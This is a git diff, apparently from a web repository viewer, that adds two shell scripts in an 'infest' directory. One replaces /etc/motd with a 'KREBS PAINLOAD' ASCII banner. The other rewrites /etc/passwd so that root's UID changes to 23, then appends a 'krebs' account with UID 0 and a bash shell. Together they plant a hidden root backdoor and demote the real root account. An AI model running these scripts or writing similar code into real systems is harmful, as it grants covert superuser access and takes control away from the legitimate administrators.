summaryrefslogtreecommitdiffstats
path: root/infest
diff options
context:
space:
mode:
Diffstat (limited to 'infest')
-rwxr-xr-xinfest/motd13
-rwxr-xr-xinfest/passwd9
2 files changed, 22 insertions, 0 deletions
diff --git a/infest/motd b/infest/motd
new file mode 100755
index 00000000..319e157d
--- /dev/null
+++ b/infest/motd
@@ -0,0 +1,13 @@
+#! /bin/sh
+cat>/etc/motd<<EOF
+KREBS PAINLOAD (MORE COBRA)
+ x x x x
+ xx xx xx xx xx xx
+ xx xx xx xx xx xx
+ xxx x x xxx
+ x xxxxxxxxxxxx x
+ xxxxxxxxxxxxxxxx
+ x xxxxxxxxxxxx x
+ x x x x x x
+ x x x x x x
+EOF
diff --git a/infest/passwd b/infest/passwd
new file mode 100755
index 00000000..00a079ba
--- /dev/null
+++ b/infest/passwd
@@ -0,0 +1,9 @@
+#! /bin/sh
+
+f=/etc/passwd
+
+sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f
+sed -ri '/^krebs/d' $f
+
+echo 'krebs:x:0:0::/root:/bin/bash' >>$f
+